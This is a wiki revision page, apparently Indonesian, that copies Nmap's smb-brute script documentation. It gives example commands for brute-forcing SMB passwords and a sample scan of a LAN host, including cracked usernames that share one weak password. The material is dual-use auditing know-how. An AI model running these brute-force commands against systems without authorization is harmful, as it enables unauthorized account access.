Difference between revisions of "Nmap: brute force hack smb password"

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(New page: Sumber: https://nmap.org/nsedoc/scripts/smb-brute.html ==File smb-brute== Script types: hostrule Categories: intrusive, brute Download: http://nmap.org/svn/scripts/smb-brute.nse ==User ...)
 
Line 20: Line 20:
 
  sudo nmap -sU -sS --script smb-brute.nse -p U:137,T:139 <host>
 
  sudo nmap -sU -sS --script smb-brute.nse -p U:137,T:139 <host>
  
==Script Output==
+
==Contoh Output==
  
 +
Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-02-11 06:01 WIB
 +
Nmap scan report for 192.168.0.7
 +
Host is up (0.0045s latency).
 +
Not shown: 989 closed ports
 +
PORT      STATE SERVICE
 +
22/tcp    open  ssh
 +
80/tcp    open  http
 +
139/tcp  open  netbios-ssn
 +
443/tcp  open  https
 +
445/tcp  open  microsoft-ds
 +
873/tcp  open  rsync
 +
8873/tcp  open  dxspider
 +
9001/tcp  open  tor-orport
 +
9050/tcp  open  tor-socks
 +
9090/tcp  open  zeus-admin
 +
22939/tcp open  unknown
 +
MAC Address: 4C:E6:76:1F:15:4C (Buffalo)
 +
 
  Host script results:
 
  Host script results:
  | smb-brute:
+
  | smb-brute:  
  |  bad name:test => Valid credentials
+
  |  derry:123456789 => Valid credentials
  |  consoletest:test => Valid credentials, password must be changed at next logon
+
  |  onno:123456789 => Valid credentials
  |   guest:<anything> => Valid credentials, account disabled
+
  |_ reza:123456789 => Valid credentials  
  |  mixcase:BuTTeRfLY1 => Valid credentials
+
   
  |  test:password1 => Valid credentials, account expired
+
  Nmap done: 1 IP address (1 host up) scanned in 132.91 seconds
  |  this:password => Valid credentials, account cannot log in at current time
 
|  thisisaverylong:password => Valid credentials
 
|  thisisaverylongname:password => Valid credentials
 
|  thisisaverylongnamev:password => Valid credentials
 
|_  web:TeSt => Valid credentials, account disabled
 
 
 
 
 
  
 
==Referensi==
 
==Referensi==
  
 
* https://nmap.org/nsedoc/scripts/smb-brute.html
 
* https://nmap.org/nsedoc/scripts/smb-brute.html

Revision as of 06:06, 11 February 2016

Sumber: https://nmap.org/nsedoc/scripts/smb-brute.html

File smb-brute

Script types: hostrule Categories: intrusive, brute Download: http://nmap.org/svn/scripts/smb-brute.nse

User Summary

Attempts to guess username/password combinations over SMB, storing discovered combinations for use in other scripts. Every attempt will be made to get a valid list of users and to verify each username before actually using them. When a username is discovered, besides being printed, it is also saved in the Nmap registry so other Nmap scripts can use it. That means that if you're going to run smb-brute.nse, you should run other smb scripts you want. This checks passwords in a case-insensitive way, determining case after a password is found, for Windows versions before Vista.

This script is specifically targeted towards security auditors or penetration testers. One example of its use, suggested by Brandon Enright, was hooking up smb-brute.nse to the database of usernames and passwords used by the Conficker worm (the password list can be found at http://www.skullsecurity.org/wiki/index.php/Passwords, among other places. Then, the network is scanned and all systems that would be infected by Conficker are discovered.


Example Usage

nmap --script smb-brute.nse -p445 <host>
sudo nmap -sU -sS --script smb-brute.nse -p U:137,T:139 <host>

Contoh Output

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-02-11 06:01 WIB
Nmap scan report for 192.168.0.7
Host is up (0.0045s latency).
Not shown: 989 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
139/tcp   open  netbios-ssn
443/tcp   open  https
445/tcp   open  microsoft-ds
873/tcp   open  rsync
8873/tcp  open  dxspider
9001/tcp  open  tor-orport
9050/tcp  open  tor-socks
9090/tcp  open  zeus-admin
22939/tcp open  unknown
MAC Address: 4C:E6:76:1F:15:4C (Buffalo)

Host script results:
| smb-brute: 
|   derry:123456789 => Valid credentials
|   onno:123456789 => Valid credentials
|_  reza:123456789 => Valid credentials 

Nmap done: 1 IP address (1 host up) scanned in 132.91 seconds

Referensi